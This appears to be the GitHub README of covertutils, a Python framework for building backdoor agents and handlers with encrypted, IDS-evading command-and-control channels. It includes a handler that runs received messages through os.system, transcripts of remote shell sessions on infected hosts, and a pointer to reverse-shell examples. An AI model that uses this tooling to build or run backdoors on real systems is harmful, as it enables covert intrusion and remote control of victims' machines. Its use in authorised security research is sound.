Skip to content


Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Latest commit


Git stats


Failed to load latest commit information.
Latest commit message
Commit time


A framework for Backdoor development!

Documentation Status PyPI version GitHub version Build Status

Documentation Page

Blog Post in Securosophy describing some internals

Arranged Con Presentation about the Package (DefCamp #8 | November 9-10)

- Defcamp #8 Presentation PDF available -

What is it?

This Python package is used to create Agent/Handler backdoors, like metasploit's meterpreter, empire's empire agent, cobalt strike's beacon and so on...

It automatically handles all communication channel options, like encryption, chunking, steganography, sessions, etc. With a recent package addition (httpimport), staging from pure Python2/3 is finally possible!

With all those set with a few lines of code, a programmer can spend time creating the actual payloads, persistense mechanisms, shellcodes and generally more creative stuff!!

The security programmers can stop re-inventing the wheel by implementing encryption mechanisms both Agent-side and Handler-side to spend their time developing more versatile Agents, and generally feature-rich shells!


Yes, Python! Developer friendly, popular among security folks, consistent, preinstalled in vast majority of *nix machines and easily packed into Windows PE files. So it is Python, and more specifically Python2.7 only, for the time being...

But why Python2?

Several reasons. Mostly because Python2 is more popular among devices (IoT devices, old Linux servers, etc), and backdoor code could run as-is on them, without Freezing, Packing, PyInstalling, etc. Backdoors are valuable when they are as cross-platform as possible. Macs, for example, do not have Python3 installed by default. If you want covertutils in Python3, do not complain, read this reddit flame war dodging and start PRing...

So far the covertutils.crypto subpackage has been ported to Python3. That means that all encryption and signing can work from Python3. Slow and steady...


NO! Absolutely no dependencies, only pure python built-ins! The entropy package is required for the tests though. This is a package's requirement, to ensure good flow when compiling in executable binaries.


The Entities

The Message

Messages are all things that mean something to the listener. Messages travel through communication channels, and they have to be unaware of the channel they are travelling in. In other words, messages have to be independent of the mean of their transportation.

  • If the communication channel can handle low length byte-chunks per "burst", the message has to be chunked.
  • If the communication channel filters certain byte arrays (IDS/IPS, NextGen Firewalls).

The Stream

The Stream is a tag that gives certain context to the message. Can be defined and used for arbitrary reasons. Streams, for example, can be used to separate Shell Commands from shellcode messages.

The Organizers

The Orchestrator

Orchestrators are the core of data manipulation in covertutils. They handle all data transformation methods to translate raw chunks of data into Stream-Message pairs.

The Handler

Handlers tie together the raw byte input/output with the orchestrators to provide an interface of:

  • onChunk()
  • onMessage()
  • onNotRecognized()

Example :

def onMessage( message, stream ) :
  if stream == 'shell' :
    os.system( message )

The Shell

A shell interface with prompt and stream control can be spawned from a Handler instance with:

shell = StandardShell(handler, prompt = "(%s:%d)> " % client_addr )
# <Ctrl-C>
Available Streams:
	[ 0] - control
	[ 1] - python
	[ 2] - os-shell
	[99] - Back
Select stream: 2
[os-shell]> uname -a
Linux hostname 4.9.0-kali4-amd64 #1 SMP Debian 4.9.25-1kali1 (2017-05-04) x86_64 GNU/Linux
[os-shell]> !control sysinfo
	Host: hostname
	Machine: x86_64
	Version: #1 SMP Debian 4.9.25-1kali1 (2017-05-04)
	Locale: en_US-UTF-8
	Platform: Linux-4.9.0-kali4-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
	Release: 4.9.0-kali4-amd64
	System: Linux
	User: unused

	Windows: ---
	Linux: glibc-2.7

# <Ctrl-C>
(> q
[!]	Quit shell? [y/N] y
Aborted by the user...

Multiple Sessions? Meet covertpreter...

Any similarities with existing backdoors is purely coincidental...

covertpreter> session -l
	Current Sessions:
0) 9cb04c9761938349 - <class '__main__.MyHandler'>
System Info: N/A

1) 523aff25b3703ac0 - <class '__main__.MyHandler'>
System Info: N/A

covertpreter> 523aff25b3703ac0 os-shell id
'!os-shell id' -> <523aff25b3703ac0>
uid=1000(unused) gid=1000(unused) groups=1000(unused)

covertpreter> control sysinfo
No sessions selected, ALL sessions will be commanded
Are you sure? [y/N]: y
'!control sysinfo' -> <9cb04c9761938349>
'!control sysinfo' -> <523aff25b3703ac0>
covertpreter> handler add examples/ 8080 Pa55phra531
Accepting			# non-blocking
<covertutils.shells.impl.extendableshell.ExtendableShell instance at 0x7fe24c0e6dd0>
Added Session!

covertpreter> session -lv		# -v is verbose: shows available streams/extensions per handler
	Current Sessions:
0) 9cb04c9761938349 - <class '__main__.MyHandler'>
hostname - Linux-4.12.0-kali1-amd64-x86_64-with-Kali-kali-rolling-kali-rolling - en_US-UTF-8 - unused
	-> control
	-> python
	-> os-shell

1) 0d415f6ba85c604d - <class 'MyHandler'>
System Info: N/A
	-> control
	-> python
	-> os-shell
	-> file
	-> stage

2) 523aff25b3703ac0 - <class '__main__.MyHandler'>
hostname - Linux-4.12.0-kali1-amd64-x86_64-with-Kali-kali-rolling-kali-rolling - en_US-UTF-8 - unused
	-> control
	-> python
	-> os-shell


Full documentation at covertpreter Session Shell aggregator

The Encryption Schemes

Custom Stream Ciphers are used, designed and implemented from scratch in the covertutils.crypto subpackage. Currently a custom scrambling function (std) and the standard CRC32 (crc) functions are used to generate the stream keys.

The crypto and scrambling algorithms can be tried in the below CLI implementations:


$ python -m covertutils.crypto.algorithms --length 16 std message_to_digest
$ python -m covertutils.crypto.algorithms --length 20 std message_to_digest
$ python -m covertutils.crypto.algorithms std message_to_digest --length 31
$ python -m covertutils.crypto.algorithms std message_to_digest --length 32 --cycles 10
$ python -m covertutils.crypto.algorithms std message_to_digest --length 32 --cycles 20
$ python -m covertutils.crypto.algorithms std message_to_digest


$ python -m covertutils.crypto.keys crc keyphrase message_to_encrypt --output b64
$ python -m covertutils.crypto.keys crc keyphrase SkonjSa1pat95PVhAG9U3DHO --input b64 --decrypt
$ #	Change the keyphrase and try to decrypt:
$ python -m covertutils.crypto.keys crc keyphrase2 SkonjSa1pat95PVhAG9U3DHO --input b64 --decrypt

The std algorithm is used by default in all communications.

A primitive signing implementation

Scrambling the examples/ file and later encrypting the scramble with a key creates something like a signature. The encrypted scramble can be used for integrity checking.


$ cat examples/ | python -m covertutils.crypto.algorithms std - --length 16 | python -m covertutils.crypto.keys std "shared_secret" - -o b64


signature="$(cat examples/ | python -m covertutils.crypto.algorithms std - --length 16 | python -m covertutils.crypto.keys std "shared_secret" - -o b64)"
if [ "$signature" = "FiPXldUde7G4PGX3TnG+uBuviBVKSw+IS0D/i7S+REht" ]; then
	echo "Verified!";
	echo "Invalid.";

(Try changing the examples/ file or the signature variable to test the example)

Signing is not an overly secure feature. It is little technique ensuring basic integrity checking without the hassle of importing official algorithms like HMAC (which are definetely better, but not built-in). It is meant for staging payload verification, yet there is no such mechanism implemented by default.

The Compression

All communications are passed through a layer of compression using the bz2 or zip algorithm. The compression is using a best effort approach, meaning that the returned data will be the least lengthy compressed version of the input (even if that means that no compression will take place).

$ cat examples/ | python -m covertutils.datamanipulation.compressor -  -v -o b64
Ratio 52 %
$ echo -n eJydU01v2zAMPVu/gksuNhA4aQdfBuzQdR02DG2HJbdhSFWbiYTIkkExCfLvR9lu0qE7DQIkUeTjxyM1fTffR5o/Wz9Hf4DuxCZ4taHQQh0OSLxn62JptG8cUixt2zmQLRDDkuVVU7M06NzXweItNFBtMDJptsGfockPPp5VgZQaVfEUz9dQ75AHl2xbfEFHh9ip4d3oaJx9PquMrq6ulep0jJ0hHRE+wuSHrqokVe+vJko3DaXHRdmvyQys51zClpq2h19XvwulohgM0cvhyEfp5sv628PdavaiXT7efl8vVz/vbu6LbKpiKUw2OfQxiiybQs+L9Vt4QD4G2slVrJyNjD6vehNBYIeyeXYnCJvX9Cl1NNYhrGiP8CFZ3+udEMEwuIAnIx14UlntrOBnMJzrsUipqa6x47wP9MlJ0ikXNgittl4uhLpRKmtwA4T1AfJiCHMrCkY4ku46aTxsAoG/lJBlhLwnP8YrEzaHagHF6Cxi4oH0Ef7P4Su8eExDJOW8HZscLp2eAevt2qHfcjK+nkHY80WuFqnTf8uEwnQ/I4lgYe9Up2attdsGsmzaxGE/UpJGNv6ClMg/Rj/vCZz1lUvolHFxqTtRPhrCZ42t/IXVQP4fHvEtgg==\
| python -m covertutils.datamanipulation.compressor - -i b64 -d
#!/usr/bin/env python
from covertutils.handlers.impl import StandardShellHandler
from covertutils.orchestration import SimpleOrchestrator

import sys
import socket


Networking is not handled by covertutils, as python provides great built-in networking API (directly inherited from C). The only requirements for covertutils Handler instances are 2 functions wrapping the raw data sending and receiving.

Just pass a send( raw ) and a recv() function to a Handler and you have a working One-Time-Pad encrypted, bandwidth aware, protocol independent, password protected, multi-usable channel.

Further Examples:

Sample TCP/UDP Reverse Shells and TCP Bind Shell scripts can be found in examples/ directory.

Tutorial and explanation of the architecture can be found in the CovertUtils Tutorial Restaurant!

Pull Requests?

Certainly! All pull requests that are tested and do not break the existing tests will be accepted! Especially Pull Requests towards Python2/Python3 compatibility will be greatly appreciated!


Usage of covertutils for attacking infrastructures without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this package.